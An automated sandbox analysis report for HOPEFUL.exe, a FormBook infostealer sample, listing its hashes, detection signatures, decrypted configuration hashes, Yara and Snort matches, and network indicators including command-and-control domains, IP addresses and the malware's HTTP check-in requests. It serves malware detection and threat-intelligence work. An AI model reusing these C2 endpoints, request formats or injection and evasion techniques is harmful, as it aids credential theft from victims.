Analysis Report HOPEFUL.exe

Overview

General Information

Sample Name: HOPEFUL.exe
Analysis ID: 339365
MD5: 9c15af175868121cc014666189d52dae
SHA1: 3ba03f47a8762368538e47806353f55da43d46ac
SHA256: 7c8f873fc34661a785875f76a1f3b1aff6719e69d2a4ea5d2d94f849282b623a
Tags: exeFormbook

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
Allocates memory in foreign processes
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect virtualization through RDTSC time measurements
Writes to foreign memory regions
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to launch a process as a different user
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection:

barindex
Found malware configuration
Source: 5.2.AddInProcess32.exe.400000.0.unpack Malware Configuration Extractor: FormBook {"Config: ": ["CONFIG_PATTERNS 0x8bc2", "KEY1_OFFSET 0x1d510", "CONFIG SIZE : 0xf7", "CONFIG OFFSET 0x1d615", "URL SIZE : 33", "searching string pattern", "strings_offset 0x1c1a3", "searching hashes pattern", "--------------------------------------------------", "Decrypted Function Hashes", "--------------------------------------------------", "0x1004744a", "0xf43668a6", "0x980476e5", "0x35a6d50c", "0xf89290dc", "0x94261f57", "0x7d54c891", "0x47cb721", "0xf72d70d3", "0x9f715026", "0xbf0a5e41", "0x2902d074", "0xf653b199", "0xc8c42cc6", "0x2e1b7599", "0x210d4d07", "0x6d2a7921", "0x8ea85a2f", "0x207c50ff", "0xb967410a", "0x1eb17415", "0xb46802f8", "0x11da8518", "0xf42ed5c", "0x2885a3d3", "0x445675fa", "0x5c289b4c", "0x40ede5aa", "0xf24946a2", "0x8559c3e2", "0xb9d34d23", "0xa14d0a19", "0x2d07bbe2", "0xbbd1d68c", "0xb28c29d4", "0x3911edeb", "0xefad046d", "0xa0605497", "0xf5529cbf", "0x5507576a", "0xfa2467c8", "0x5b6423bf", "0xe22409b9", "0xde1eba2", "0xae847e2", "0xa8cfcc9", "0x26fc2c69", "0x5d8a75ac", "0x22eb3474", "0x2b37c918", "0x79402007", "0x7544791c", "0x641b2c94", "0x1db04ecf", "0xf5d02cd8", "0xad012172", "0x6206e716", "0x5e4b9b9a", "0xe4e2f5f4", "0x54c93159", "0x25ea79b", "0x5bf29119", "0xd6507db", "0x32ffc9f8", "0xe4cfab72", "0x98db5380", "0xce4cc542", "0x3092a0a2", "0x66053660", "0x2607a133", "0xfcd014c1", "0x80b41d4", "0x4102ad8d", "0x857bf6a6", "0xd3ec6064", "0x23145fc4", "0xc026698f", "0x8f5385d8", "0x2430512b", "0x3ebe9086", "0x4c6fddb5", "0x276db13e", "0xe00f0a8e", "0x85cf9404", "0xb2248784", "0xcdc7e023", "0x11f5f50", "0x1dd4bc1c", "0x8235fce2", "0x21b17672", "0xbba64d93", "0x2f0ee0d8", "0x9cb95240", "0x28c21e3f", "0x9347ac57", "0x9d9522dc", "0x911bc70e", "0x74443db9", "0xf04c1aa9", "0x6484bcb5", "0x11fc2f72", "0x2b44324f", "0x9d70beea", "0x59adf952", "0x172ac7b4", "0x5d4b4e66", "0xed297eae", "0xa88492a6", "0xb21b057c", "0x70f35767", "0xb6f4d5a8", "0x67cea859", "0xc1626bff", "0xb4e1ae2", "0x24a48dcf", "0xe11da208", "0x1c920818", "0x65f4449c", "0xc30bc050", "0x3e86e1fb", "0x9e01fc32", "0x216500c2", "0x48e207c9", "0x2decf13e", "0x19996921", "0xb7da3dd7", "0x47f39d2b", "0x6777e2de", "0xd980e37f", "0x963fea3b", "0xacddb7ea", "0x110aec35", "0x647331f3", "0x2e381da4", "0x50f66474", "0xec16e0c0", "0xf9d81a42", "0xd6c6f9db", "0xef3df91", "0x60e0e203", "0x7c81caaf", "0x71c2ec76", "0x25e431cc", "0x106f568f", "0x6a60c8a9", "0xb758aab3", "0x3b34de90", "0x700420f5", "0xee359a7e", "0xd1d808a", "0x47ba47a5", "0xff959c4c", "0x5d30a87d", "0xaa95a900", "0x80b19064", "0x9c5a481a", "0x1dd252d", "0xdb3055fc", "0xe0cf8bf1", "0x3a48eabc", "0xf0472f97", "0x4a6323de", "0x4260edca", "0x53f7fb4f", "0x3d2e9c99", "0xf6879235", "0xe6723cac", "0xe184dfaa", "0xe99ffaa0", "0xf6aebe25", "0xefadf9a5", "0x215de938", "0x757906aa", "0x84f8d766", "0xb6494f65", "0x13a75318", "0x5bde5587", "0xe9eba2a4", "0x6b8a0df3", "0x9c02f250", "0xe52a2a2e", "0xdb96173c", "0x3c0f2fc", "0xd45e157c", "0x4edd1210", "0x2b127ce0", "0xadc887b6", "0xf45a1c52", "0xc84869d7", "0x36dc1f04",
Multi AV Scanner detection for submitted file
Source: HOPEFUL.exe ReversingLabs: Detection: 31%
Yara detected FormBook
Source: Yara match File source: 00000013.00000002.557782096.0000000000EC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.558552585.0000000003090000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.342835005.00000000017B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.341874969.0000000001380000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.298637498.0000000004A76000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.560537897.0000000004B40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.341186182.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.298890035.0000000004B4D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Machine Learning detection for sample
Source: HOPEFUL.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 5.2.AddInProcess32.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

barindex
Uses 32bit PE files
Source: HOPEFUL.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: HOPEFUL.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Source: Binary string: AddInProcess32.pdb source: HOPEFUL.exe, 00000000.00000003.279597183.0000000001459000.00000004.00000001.sdmp, AddInProcess32.exe, cmmon32.exe, 00000013.00000002.563508472.00000000052EF000.00000004.00000001.sdmp, AddInProcess32.exe.0.dr
Source: Binary string: cmmon32.pdb source: AddInProcess32.exe, 00000005.00000002.342910894.00000000017E0000.00000040.00000001.sdmp
Source: Binary string: wscui.pdbUGP source: explorer.exe, 0000000D.00000000.313912320.0000000006560000.00000002.00000001.sdmp
Source: Binary string: cmmon32.pdbGCTL source: AddInProcess32.exe, 00000005.00000002.342910894.00000000017E0000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: AddInProcess32.exe, 00000005.00000002.342946293.00000000017F0000.00000040.00000001.sdmp, cmmon32.exe, 00000013.00000002.561037335.0000000004DC0000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: AddInProcess32.exe, cmmon32.exe
Source: Binary string: AddInProcess32.pdbpw source: HOPEFUL.exe, 00000000.00000003.279597183.0000000001459000.00000004.00000001.sdmp, AddInProcess32.exe, 00000005.00000002.341420581.0000000000DE2000.00000002.00020000.sdmp, cmmon32.exe, 00000013.00000002.563508472.00000000052EF000.00000004.00000001.sdmp, AddInProcess32.exe.0.dr
Source: Binary string: wscui.pdb source: explorer.exe, 0000000D.00000000.313912320.0000000006560000.00000002.00000001.sdmp

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\HOPEFUL.exe Code function: 4x nop then jmp 0164F5EEh 0_2_0164EE1A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 4x nop then pop edi 5_2_00416BF3
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 4x nop then pop edi 5_2_00416C07
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 4x nop then pop edi 5_2_00416C27
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 4x nop then pop edi 5_2_00416C3F
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Code function: 4x nop then pop edi 5_2_00417D68
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 4x nop then pop edi 19_2_00ED6BF3
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 4x nop then pop edi 19_2_00ED6C27
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 4x nop then pop edi 19_2_00ED6C3F
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 4x nop then pop edi 19_2_00ED6C07
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 4x nop then pop edi 19_2_00ED7D68

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49756 -> 35.169.40.107:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49756 -> 35.169.40.107:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49756 -> 35.169.40.107:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49760 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49760 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49760 -> 34.102.136.180:80
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /jqc/?vJBt9=0p-TOvv8KBuxgpiP&ndlpiZc=Jqp6Vrh7x4dPMrIQX7VIzLiEvICxUcdwdSrDbGPbei90zUxLRJiOLwAKv7MnajRyqhPp HTTP/1.1Host: www.the343radio.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /jqc/?ndlpiZc=0xbExnfI3Prv/1KpQ0CN/ByOc92DgA9UHu9nxr7GrQjbPgIXGkWI8+X1opataUjCpyTL&vJBt9=0p-TOvv8KBuxgpiP HTTP/1.1Host: www.registeredagentfirm.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /jqc/?vJBt9=0p-TOvv8KBuxgpiP&ndlpiZc=EnI9If5tS4P3VQhtW/9J+s0mIpyxI+H/HK4ULnRjNfqJIxJ/UO/Pi364qc4j+Eh6gi9p HTTP/1.1Host: www.tiendazoom.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 34.98.99.30 34.98.99.30
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: IHNETUS IHNETUS
Source: Joe Sandbox View ASN Name: AMAZON-AESUS AMAZON-AESUS
Source: Joe Sandbox View ASN Name: GOOGLEUS GOOGLEUS
Source: global traffic HTTP traffic detected: GET /jqc/?vJBt9=0p-TOvv8KBuxgpiP&ndlpiZc=Jqp6Vrh7x4dPMrIQX7VIzLiEvICxUcdwdSrDbGPbei90zUxLRJiOLwAKv7MnajRyqhPp HTTP/1.1Host: www.the343radio.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /jqc/?ndlpiZc=0xbExnfI3Prv/1KpQ0CN/ByOc92DgA9UHu9nxr7GrQjbPgIXGkWI8+X1opataUjCpyTL&vJBt9=0p-TOvv8KBuxgpiP HTTP/1.1Host: www.registeredagentfirm.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /jqc/?vJBt9=0p-TOvv8KBuxgpiP&ndlpiZc=EnI9If5tS4P3VQhtW/9J+s0mIpyxI+H/HK4ULnRjNfqJIxJ/UO/Pi364qc4j+Eh6gi9p HTTP/1.1Host: www.tiendazoom.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: unknown DNS traffic detected: queries for: www.the343radio.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Jan 2021 20:50:04 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: explorer.exe, 0000000D.00000000.325706052.000000000F640000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.11sxsx.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.11sxsx.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.11sxsx.com/jqc/www.lhc965.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.11sxsx.comReferer:
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.bebywye.site
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.bebywye.site/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.bebywye.site/jqc/www.ip-freight.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.bebywye.siteReferer:
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.eaglesnestpropheticministry.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.eaglesnestpropheticministry.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.eaglesnestpropheticministry.com/jqc/www.internetmarkaching.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.eaglesnestpropheticministry.comReferer:
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.internetmarkaching.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.internetmarkaching.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.internetmarkaching.com/jqc/www.weddingmustgoon.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.internetmarkaching.comReferer:
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.ip-freight.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.ip-freight.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.ip-freight.com/jqc/www.toweroflifeinc.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.ip-freight.comReferer:
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.kenniscourtureconsignments.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.kenniscourtureconsignments.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.kenniscourtureconsignments.com/jqc/www.novergi.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.kenniscourtureconsignments.comReferer:
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.lhc965.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.lhc965.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.lhc965.com/jqc/www.topheadlinetowitness-today.info
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.lhc965.comReferer:
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.novergi.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.novergi.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.novergi.com/jqc/M
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.novergi.comReferer:
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.registeredagentfirm.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.registeredagentfirm.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.registeredagentfirm.com/jqc/www.tiendazoom.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.registeredagentfirm.comReferer:
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.strahlenschutz.digital
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.strahlenschutz.digital/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.strahlenschutz.digital/jqc/www.theorangepearl.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.strahlenschutz.digitalReferer:
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.the343radio.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.the343radio.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.the343radio.com/jqc/www.registeredagentfirm.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.the343radio.comReferer:
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.theorangepearl.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.theorangepearl.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.theorangepearl.com/jqc/www.11sxsx.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.theorangepearl.comReferer:
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.tiendazoom.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.tiendazoom.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.tiendazoom.com/jqc/www.eaglesnestpropheticministry.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.tiendazoom.comReferer:
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.topheadlinetowitness-today.info
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.topheadlinetowitness-today.info/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.topheadlinetowitness-today.info/jqc/www.kenniscourtureconsignments.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.topheadlinetowitness-today.infoReferer:
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.toweroflifeinc.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.toweroflifeinc.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.toweroflifeinc.com/jqc/www.strahlenschutz.digital
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.toweroflifeinc.comReferer:
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.weddingmustgoon.com
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.weddingmustgoon.com/jqc/
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.weddingmustgoon.com/jqc/www.bebywye.site
Source: explorer.exe, 0000000D.00000002.573959275.00000000056A1000.00000004.00000001.sdmp String found in binary or memory: http://www.weddingmustgoon.comReferer:
Source: explorer.exe, 0000000D.00000000.320958495.0000000008B46000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 00000013.00000002.557782096.0000000000EC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.558552585.0000000003090000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.342835005.00000000017B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.341874969.0000000001380000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.298637498.0000000004A76000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.560537897.0000000004B40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.341186182.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.298890035.0000000004B4D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE

System Summary:

barindex
Malicious sample detected (through community Yara rule)
